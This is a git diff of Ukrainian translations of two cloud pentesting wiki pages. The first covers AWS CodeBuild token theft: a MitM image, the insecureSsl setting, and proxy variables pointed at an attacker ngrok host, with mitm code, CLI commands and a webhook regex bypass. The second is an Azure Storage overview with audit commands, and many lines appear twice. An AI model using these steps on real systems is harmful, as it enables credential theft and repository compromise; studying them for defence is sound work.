Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-18 22:41:15 +00:00
parent 7e5107c8aa
commit 096fb5016b
2 changed files with 126 additions and 126 deletions
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Відновлення налаштованих Tokens для Github/Bitbucket
## Відновлення налаштованих Github/Bitbucket Tokens
Спочатку перевірте, чи є налаштовані source credentials, які ви могли б leak:
```bash
@@ -10,31 +10,31 @@ aws codebuild list-source-credentials
```
### Via Docker Image
Якщо ви виявите, що автентифікація, наприклад до Github, налаштована в обліковому записі, ви можете **exfiltrate** той **access** (**GH token or OAuth token**) змусивши Codebuild **use an specific docker image** для виконання збірки проєкту.
Якщо ви виявите, що аутентифікація, наприклад до Github, налаштована в акаунті, ви можете **exfiltrate** той **доступ** (**GH token or OAuth token**), змусивши Codebuild **use an specific docker image** для запуску збірки проєкту.
Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого проєкту, щоб вказати **Docker image**.
Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого, щоб встановити **Docker image**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановить **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановлює **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
- Дотримуйтеся інструкцій репо, щоб вказати IP-адресу проксі та встановити ваш SSL сертифікат і **build the docker image**.
- **DO NOT SET `http_proxy`** щоб не перехоплювати запити до метаданих endpoint.
- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб встановити proxy на ваш хост.
- Коли Docker image збудовано, **upload it to a public repo** (Dockerhub, ECR...)
- Дотримуйтесь інструкцій репо, щоб вказати IP-адресу проксі, встановити ваш SSL cert та **build the docker image**.
- **DO NOT SET `http_proxy`** щоби не перехоплювати запити до metadata endpoint.
- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб встановити проксі на ваш хост
- Після того, як Docker image збудовано, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Створіть **new Codebuild project** або **modify** environment існуючого.
- Встановіть проєкт на використання **previously generated Docker image**
- Create a **new Codebuild project** або **modify** environment існуючого проєкту.
- Set the project to use the **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
- Як вказано в **Github repo**, ви можете використати щось на кшталт:
- Як вказано в **Github repo** ви можете використати щось на кшталт:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Версія **mitmproxy 9.0.1** використовувалася; повідомлялося, що з версією 10 це може не працювати.
> Використовувалась версія **mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
4. **Запустіть збірку та перехопіть облікові дані**
@@ -42,7 +42,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Це також можна зробити через aws cli за допомогою команди на кшталт
Це також можна зробити з aws cli за допомогою команди на кшталт
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### Через insecureSSL
**Codebuild** проекти мають налаштування під назвою **`insecureSsl`**, яке приховане у веб-інтерфейсі — його можна змінити тільки через API.\
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який надає платформа.
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який пропонує платформа.
- Спочатку потрібно отримати поточну конфігурацію за допомогою чогось на кшталт:
- Спочатку потрібно перелічити поточну конфігурацію за допомогою чогось на кшталт:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Потім, зібравши інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Нижче наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** наприкінці (це єдина річ, яку потрібно змінити у зібраній конфігурації).
- Крім того, додайте також змінні оточення **http_proxy** і **https_proxy**, що вказують на ваш tcp ngrok, наприклад:
- Потім, використовуючи зібрану інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Нижче наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
- Крім того, додайте також змінні оточення **http_proxy** та **https_proxy**, що вказують на ваш tcp ngrok, наприклад:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порті, який вказують proxy variables (http_proxy і https_proxy)
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Нарешті натисніть **Build the project**, облікові дані будуть **надіслані у відкритому вигляді** (base64) на mitm порт:
- Нарешті, натисніть на **Build the project**, **credentials** будуть **відправлені у відкритому вигляді** (base64) на mitm-порт:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Через протокол HTTP~~
### ~~Через HTTP-протокол~~
> [!TIP] > **Цю вразливість AWS виправили приблизно того тижня, що починався 20 лютого 2023 року (вважаю, у пятницю). Тому зловмисник більше не може її використовувати :)**
> [!TIP] > **Цю вразливість AWS виправили приблизно на тижні 20 лютого 2023 року (як гадаю, у п'ятницю). Тому нападник більше не може її зловживати :)**
Зловмисник з **підвищеними правами в CodeBuild міг би leak сконфігурований Github/Bitbucket token**, або, якщо права були налаштовані через OAuth, — **тимчасовий OAuth token, який використовується для доступу до коду**.
Зловмисник з **підвищеними правами в CodeBuild** міг leak налаштований токен Github/Bitbucket або, якщо права були налаштовані через OAuth, — **тимчасовий OAuth токен, що використовується для доступу до коду**.
- Зловмисник може додати змінні середовища **http_proxy** і **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
- Зловмисник може додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказавши на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions`
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порті, вказаному змінними проксі (http_proxy і https_proxy)
- Далі запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,32 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Далі натисніть на **Build the project** або запустіть збірку з командного рядка:
- Далі натисніть на **Побудувати проект** або запустіть збірку з командного рядка:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Врешті-решт **credentials** будуть **відправлені у відкритому вигляді** (base64) на порт mitm:
- Нарешті, **облікові дані** будуть **відправлені у відкритому вигляді** (base64) на mitm port:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Тепер attacker зможе використовувати token зі своєї машини, переглянути всі privileges, які він має, і (ab)use значно простіше, ніж через сервіс CodeBuild безпосередньо.
> Тепер атакуючий зможе використовувати токен зі своєї машини, переглянути всі його привілеї та легше зловживати ними, ніж при прямому використанні сервісу CodeBuild.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
## Фільтр webhook — обхід allowlist для ACTOR_ID regex (PR-triggered privileged builds)
Неправильно налаштовані CodeBuild GitHub webhooks, що використовують незакріплені `ACTOR_ID` regexes, дозволяють *untrusted* PRs запускати привілейовані збірки. Якщо allowlist виглядає як `123456|7890123` без `^`/`$`, будь-який ID, що містить один із цих підрядків, підходить. Оскільки GitHub user IDs є послідовними, attacker може змагатися, щоб зареєструвати “eclipsing ID (суперрядок довіреного ID) і викликати збірку.
Неправильно налаштовані CodeBuild GitHub webhooks, які використовують незакріплені `ACTOR_ID` regexes, дозволяють *ненадійним* PR запускати привілейовані збірки. Якщо allowlist має вигляд `123456|7890123` без `^`/`$`, будь-який ID, що містить одну з цих підрядків, співпаде. Оскільки GitHub user IDs є послідовними, атакуючий може змагатися за реєстрацію «eclipsing» ID (суперстрока довіреного ID) і ініціювати збірку.
**Шлях експлуатації**
1. Знайдіть публічні CodeBuild проекти, що експонують webhook filters, і витягніть незакріплену `ACTOR_ID` allowlist.
2. Отримайте eclipsing GitHub ID:
- Пробуйте глобальний лічильник ID, створюючи/видаляючи GitHub orgs (org IDs використовують спільний пул).
- Попередньо підготуйте багато створень GitHub App manifest і активуйте confirmation URLs, коли лічильник буде приблизно в межах ~100 IDs від цілі, щоб масово зареєструвати bot ID, що містить довірений підрядок.
3. Відкрийте PR з eclipsing акаунта; regex співпаде з підрядком і privileged build запуститься.
4. Використайте build RCE (наприклад, dependency install hooks), щоб дампнути process memory, який обробляє GitHub credential, і відновити PAT/OAuth token.
5. Маючи token з `repo` scope, запросіть свій акаунт як collaborator/admin і запуште/підтвердіть шкідливі коміти або exfiltrate secrets.
1. Знайти публічні CodeBuild проекти з оприлюдненими webhook-фільтрами та витягти незакріплений `ACTOR_ID` allowlist.
2. Отримати eclipsing GitHub ID:
- Пробувати значення глобального лічильника ID, створюючи/видаляючи GitHub orgs (org IDs ділять загальний пул).
- Попередньо ініціюйте багато створень GitHub App manifest і активуйте confirmation URLs, коли лічильник буде приблизно в ~100 IDs від цілі, щоб швидко зареєструвати bot ID, який містить довірений підрядок.
3. Відкрийте PR з eclipsing акаунта; regex співпаде з підрядком і запуститься привілейована збірка.
4. Використати build RCE (наприклад, hooks при встановленні залежностей) для дампу пам'яті процесу, який обробляє облікові дані GitHub, і відновити PAT/OAuth token.
5. Маючи token зі scope `repo`, запросіть свій акаунт як collaborator/admin і push/approve шкідливі коміти або ексфільтруйте секрети.
## References
## Посилання
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,74 +2,74 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Azure Storage Accounts — це базові сервіси в Microsoft Azure, які забезпечують масштабоване, безпечне та високо доступне хмарне **storage for various data types**, включаючи blobs (binary large objects), files, queues та tables. Вони слугують контейнерами, що групують ці різні служби зберігання під єдиним простором імен для зручного керування.
Azure Storage Accounts — це фундаментальні сервіси в Microsoft Azure, які забезпечують масштабоване, захищене та високо доступне хмарне зберігання для різних типів даних, включаючи blobs (binary large objects), files, queues та tables. Вони слугують контейнерами, що групують ці різні сервіси зберігання під одним простором імен для зручного керування.
**Main configuration options**:
**Основні параметри конфігурації**:
- Кожен storage account має мати **uniq name across all Azure**.
- Кожен storage account деплоїться в певному **region** або в Azure extended zone.
- Можна обрати **premium** версію storage account для кращої продуктивності.
- Можна обрати серед **4 types of redundancy to protect** від rack, drive та datacenter **failures**.
- Кожен обліковий запис сховища повинен мати **унікальне ім'я в межах усього Azure**.
- Кожен обліковий запис розгортається в **регіоні** або в розширеній зоні Azure
- Можна обрати **premium** версію облікового запису сховища для покращеної продуктивності
- Можна вибрати серед **4 типів надмірності для захисту** від відмов стійки, диска та дата-центру.
**Security configuration options**:
**Параметри конфігурації безпеки**:
- **Require secure transfer for REST API operations**: Вимагати TLS для будь-якої комунікації зі storage.
- **Allows enabling anonymous access on individual containers**: Якщо вимкнено, в майбутньому не вдасться увімкнути anonymous access.
- **Enable storage account key access**: Якщо вимкнено, доступ через Shared Keys буде заборонено.
- **Require secure transfer for REST API operations**: Вимагати TLS у будь-якій комунікації зі сховищем
- **Allows enabling anonymous access on individual containers**: Якщо ні — у майбутньому неможливо буде ввімкнути анонімний доступ
- **Enable storage account key access**: Якщо ні — доступ за допомогою Shared Keys буде заборонено
- **Minimum TLS version**
- **Permitted scope for copy operations**: Дозволити з будь-якого storage account, з будь-якого storage account того ж Entra tenant або зі storage account з private endpoints у тій же віртуальній мережі.
- **Permitted scope for copy operations**: Дозволяти з будь-якого storage account, з будь-якого storage account того самого Entra tenant або з облікового запису зі private endpoints в тій же virtual network.
**Blob Storage options**:
- **Allow cross-tenant replication**
- **Access tier**: Hot (часто використовувані дані), Cool та Cold (рідко використовувані дані)
- **Access tier**: Hot (часто доступні дані), Cool та Cold (рідко доступні дані)
**Networking options**:
**Параметри мережі**:
- **Network access**:
- Allow from all networks
- Allow from selected virtual networks and IP addresses
- Disable public access and use private access
- **Private endpoints**: Дозволяє приватне підключення до storage account з virtual network
- Дозволити з усіх мереж
- Дозволити з вибраних virtual networks та IP-адрес
- Вимкнути публічний доступ і використовувати приватний доступ
- **Private endpoints**: Дозволяє приватне з'єднання до облікового запису сховища з virtual network
**Data protection options**:
**Параметри захисту даних**:
- **Point-in-time restore for containers**: Дозволяє відновлювати контейнери до попереднього стану
- Вимагає увімкнених versioning, change feed та blob soft delete.
- **Enable soft delete for blobs**: Увімкнення періоду зберігання в днях для видалених blob-ів (навіть перезаписаних)
- **Enable soft delete for containers**: Увімкнення періоду зберігання в днях для видалених контейнерів
- **Enable soft delete for file shares**: Увімкнення періоду зберігання в днях для видалених file shares
- **Enable versioning for blobs**: Зберігання попередніх версій ваших blob-ів
- **Enable blob change feed**: Ведення журналу створення, модифікацій та видалень blob-ів
- **Enable version-level immutability support**: Дозволяє встановити політику збереження на рівні часу для всіх версій blob-ів на рівні аккаунта.
- Version-level immutability support і point-in-time restore for containers не можуть бути увімкнені одночасно.
- **Point-in-time restore for containers**: Дозволяє відновити контейнери до попереднього стану
- Потребує ввімкнених versioning, change feed та blob soft delete.
- **Enable soft delete for blobs**: Вмикає період збереження в днях для видалених blobs (навіть перезаписаних)
- **Enable soft delete for containers**: Вмикає період збереження в днях для видалених контейнерів
- **Enable soft delete for file shares**: Вмикає період збереження в днях для видалених file shares
- **Enable versioning for blobs**: Зберігати попередні версії ваших blobs
- **Enable blob change feed**: Зберігати журнали створення, зміни та видалення blobs
- **Enable version-level immutability support**: Дозволяє встановити політику зберігання на основі часу на рівні облікового запису, яка застосовуватиметься до всіх версій blob.
- Version-level immutability support і point-in-time restore for containers не можна ввімкнути одночасно.
**Encryption configuration options**:
**Параметри конфігурації шифрування**:
- **Encryption type**: Можна використовувати Microsoft-managed keys (MMK) або Customer-managed keys (CMK)
- **Enable infrastructure encryption**: Дозволяє подвійно зашифрувати дані "for more security"
- **Enable infrastructure encryption**: Дозволяє подвійне шифрування даних для підвищення безпеки
### Storage endpoints
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Сервіс зберігання</th><th>Кінцева точка</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Public Exposure
### Публічний доступ
Якщо "Allow Blob public access" **увімкнено** (за замовчуванням вимкнено), під час створення контейнера можна:
Якщо "Allow Blob public access" є **enabled** (disabled за замовчуванням), при створенні контейнера можливо:
- Надати **public access to read blobs** (потрібно знати ім'я).
- **List container blobs** та **read** їх.
- Зробити його повністю **private**
- Надати **публічний доступ для читання blobs** (потрібно знати ім'я).
- Можливість перераховувати blobs контейнера та читати їх.
- Зробити його повністю **приватним**
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
### Static website (`$web`) exposure & leaked secrets
### Статичний вебсайт (`$web`) exposure & leaked secrets
- **Static websites** are served from the special `$web` container over a region-specific endpoint such as `https://<account>.z13.web.core.windows.net/`.
- The `$web` container may report `publicAccess: null` via the blob API, but files are still reachable through the static site endpoint, so dropping config/IaC artifacts there can leak secrets.
- Quick audit workflow:
- **Static websites** подаються з спеціального контейнера `$web` через регіонально-залежну кінцеву точку, наприклад `https://<account>.z13.web.core.windows.net/`.
- Контейнер `$web` може повідомляти `publicAccess: null` через blob API, але файли все ще доступні через endpoint статичного сайту, тому розміщення конфігураційних/IaC артефактів там може leak secrets.
- Швидкий робочий процес аудиту:
```bash
# Identify storage accounts with static website hosting enabled
az storage blob service-properties show --account-name <acc-name> --auth-mode login
@@ -82,19 +82,19 @@ az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdou
```
### Аудит анонімного доступу до blob
- **Знайдіть storage accounts**, які можуть відкривати дані: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Якщо `allowBlobPublicAccess` має значення `false`, ви не зможете зробити контейнери публічними.
- **Перевірте ризикові облікові записи**, щоб підтвердити прапорець і інші слабкі налаштування: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
- **Перелічіть публічний доступ на рівні контейнера** там, де прапорець увімкнено:
- **Знайти storage accounts** які можуть розкрити дані: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Якщо `allowBlobPublicAccess` має значення `false`, ви не зможете зробити containers публічними.
- **Перевірити ризикові облікові записи** щоб підтвердити прапорець та інші слабкі налаштування: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
- **Перелічити експозицію на рівні контейнерів** там, де прапорець увімкнено:
```bash
az storage container list --account-name <acc> \
--query '[].{name:name, access:properties.publicAccess}'
```
- `"Blob"`: дозволено анонімне читання **лише коли відоме ім'я blob** (без переліку).
- `"Blob"`: анонімне читання дозволено **лише коли відоме ім'я blob** (без переліку).
- `"Container"`: анонімний **перелік + читання** кожного blob.
- `null`: приватний; потрібна автентифікація.
- **Доведіть доступ** без облікових даних:
- Якщо `publicAccess` `Container`, анонімне перелічення працює: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- Для обох `Blob` і `Container`, анонімне завантаження blob працює, коли ім'я відоме:
- **Підтвердіть доступ** без облікових даних:
- Якщо `publicAccess` є `Container`, анонімний перелік працює: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- Для обох `Blob` та `Container`, анонімне завантаження blob працює, якщо відоме ім'я:
```bash
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
# or via raw HTTP
@@ -102,31 +102,31 @@ curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
```
### Підключення до сховища
Якщо ви знайдете будь-яке **сховище**, до якого можна підключитися, ви можете скористатися інструментом [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) для цього.
Якщо ви знайдете будь-яке **сховище**, до якого можна підключитися, ви можете використати інструмент [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) для цього.
## Доступ до сховища <a href="#about-blob-storage" id="about-blob-storage"></a>
### RBAC
Можна використовувати суб'єкти Entra ID з ролями **RBAC** для доступу до облікових записів сховища це рекомендований спосіб.
Можна використовувати принципали Entra ID з **RBAC roles** для доступу до облікових записів сховища, і це рекомендований спосіб.
### Ключі доступу
Облікові записи сховища мають ключі доступу, які можна використовувати для доступу до них. Це надає **повний доступ до облікового запису сховища.**
Облікові записи сховища мають ключі доступу, які можна використати для доступу. Це надає **повний доступ до облікового запису сховища.**
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
### **Shared Keys & Lite Shared Keys**
It's possible to [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signed with the access keys to authorize access to certain resources via a signed URL.
Можна [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key), підписані ключами доступу, щоб авторизувати доступ до певних ресурсів через підписаний URL.
> [!NOTE]
> Зверніть увагу, що частина `CanonicalizedResource` представляє ресурс служби сховища (URI). І якщо будь-яка частина в URL закодована, вона також має бути закодована всередині `CanonicalizedResource`.
> Зверніть увагу, що частина `CanonicalizedResource` представляє ресурс сервісу сховища (URI). І якщо якась частина в URL закодована, вона також повинна бути закодована всередині `CanonicalizedResource`.
> [!NOTE]
> За замовчуванням для автентифікації запитів **використовується `az` cli**. Щоб змусити його використовувати облікові дані суб'єкта Entra ID, вкажіть параметр `--auth-mode login`.
> Це **за замовчуванням використовується `az` cli** для автентифікації запитів. Щоб змусити його використовувати облікові дані принципала Entra ID, вкажіть параметр `--auth-mode login`.
- Можна згенерувати **shared key for blob, queue and file services** шляхом підпису наступної інформації:
- Можна згенерувати **shared key for blob, queue and file services** підписавши наступну інформацію:
```bash
StringToSign = VERB + "\n" +
Content-Encoding + "\n" +
@@ -143,7 +143,7 @@ Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- Можна згенерувати **shared key for table services**, підписавши таку інформацію:
- Можна згенерувати **shared key for table services**, підписавши наступну інформацію:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -151,7 +151,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- Можна згенерувати **lite shared key for blob, queue and file services**, підписавши наступну інформацію:
- Можна згенерувати **lite shared key for blob, queue and file services** підписавши наступну інформацію:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -165,7 +165,7 @@ CanonicalizedResource;
StringToSign = Date + "\n"
CanonicalizedResource
```
Тоді, щоб використати ключ, це можна зробити в заголовку Authorization, використовуючи синтаксис:
Щоб використати key, це можна зробити в Authorization header, використовуючи такий синтаксис:
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
@@ -177,72 +177,72 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
Content-Length: 0
```
### **Shared Access Signature** (SAS)
### **Спільний підпис доступу** (SAS)
Shared Access Signatures (SAS) — це безпечні URL з обмеженим терміном дії, які **grant specific permissions to access resource**s в обліковому записі Azure Storage і дозволяють отримати доступ до ресурсів без розкриття ключів доступу облікового запису. У той час як access keys дають повний адміністративний доступ до всіх ресурсів, SAS дозволяє здійснювати тонке управління доступом, вказуючи дозволи (наприклад, read або write) і визначаючи час закінчення дії.
Shared Access Signatures (SAS) — це безпечні, обмежені в часі URL, які **надають конкретні дозволи для доступу до ресурсів** у обліковому записі Azure Storage без розкриття ключів доступу облікового запису. У той час як ключі доступу забезпечують повний адміністративний доступ до всіх ресурсів, SAS дозволяє здійснювати дрібнозерняний контроль, вказуючи дозволи (наприклад, read або write) та визначаючи час закінчення дії.
#### SAS Types
- **User delegation SAS**: Створюється від імені **Entra ID principal**, який підписує SAS і делегує дозволи від користувача до SAS. Може використовуватися лише з **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Можна **revoke** всі згенеровані user delegated SAS.
- Навіть якщо можливо згенерувати delegation SAS з "більшими" дозволами, ніж має користувач, якщо у принципала їх немає це не спрацює (no privesc).
- **Service SAS**: Підписується за допомогою одного з access keys облікового запису storage. Може давати доступ до конкретних ресурсів в межах одного сервісу storage. Якщо ключ буде оновлено, SAS перестане працювати.
- **Account SAS**: Теж підписується одним з access keys облікового запису. Надає доступ до ресурсів у межах сервісів облікового запису (Blob, Queue, Table, File) і може включати операції на рівні сервісу.
- **User delegation SAS**: Створюється від імені **Entra ID principal**, який підписує SAS і делегує дозволи від користувача до SAS. Може використовуватися лише з **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Можна **відкликати** усі згенеровані user delegated SAS.
- Навіть якщо можливо згенерувати delegation SAS з "більшими" дозволами, ніж має користувач, якщо principal не має цих дозволів, це не спрацює (немає privesc).
- **Service SAS**: Підписується за допомогою одного з **access keys** облікового запису. Може використовуватися для надання доступу до конкретних ресурсів у межах однієї storage service. Якщо ключ оновлено, SAS перестане працювати.
- **Account SAS**: Також підписується одним із **access keys** облікового запису. Надає доступ до ресурсів у різних службах облікового запису (Blob, Queue, Table, File) і може включати операції на рівні служби.
A SAS URL signed by an **access key** looks like this:
SAS URL, підписаний **access key**, виглядає так:
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
A SAS URL signed as a **user delegation** looks like this:
SAS URL, підписаний як **user delegation**, виглядає так:
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
Note some **http params**:
Зверніть увагу на деякі **http params**:
- The **`se`** param indicates the **expiration date** of the SAS
- The **`sp`** param indicates the **permissions** of the SAS
- The **`sig`** is the **signature** validating the SAS
- Параметр **`se`** вказує на **дату закінчення дії** SAS
- Параметр **`sp`** вказує на **дозволи** SAS
- **`sig`** — це **підпис**, що валідовує SAS
#### SAS permissions
При генерації SAS потрібно вказати дозволи, які він повинен надавати. В залежності від об'єкта, для якого створюється SAS, можуть бути включені різні дозволи. Наприклад:
При генерації SAS потрібно вказати дозволи, які він має надавати. Залежно від об'єкта, для якого створюється SAS, можуть бути включені різні дозволи. Наприклад:
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## SFTP Support for Azure Blob Storage
Azure Blob Storage тепер підтримує SSH File Transfer Protocol (SFTP), що дозволяє безпечно передавати файли і керувати ними безпосередньо в Blob Storage без потреби у кастомних рішеннях або продуктах сторонніх розробників.
Azure Blob Storage тепер підтримує SSH File Transfer Protocol (SFTP), що дозволяє безпечну передачу файлів і керування безпосередньо в Blob Storage без потреби у власних рішеннях або сторонніх продуктах.
### Key Features
- Protocol Support: SFTP працює з Blob Storage accounts, налаштованими з hierarchical namespace (HNS). Це організовує blobs у директорії та піддиректорії для зручнішої навігації.
- Security: SFTP використовує локальні користувацькі облікові записи для автентифікації і не інтегрується з RBAC або ABAC. Кожен локальний користувач може автентифікуватися за допомогою:
- Azure-generated passwords
- Public-private SSH key pairs
- Granular Permissions: Такі дозволи, як Read, Write, Delete і List, можна призначати локальним користувачам для максимум 100 контейнерів.
- Networking Considerations: SFTP-з'єднання відбуваються через порт 22. Azure підтримує мережеві конфігурації такі як firewalls, private endpoints або virtual networks для захисту трафіку SFTP.
- Protocol Support: SFTP працює з Blob Storage accounts, сконфігурованими з hierarchical namespace (HNS). Це організовує blobs у директорії та піддиректорії для простішої навігації.
- Security: SFTP використовує локальні ідентичності користувачів для автентифікації і не інтегрується з RBAC або ABAC. Кожен локальний користувач може автентифікуватися через:
- Azure-generated passwords
- Public-private SSH key pairs
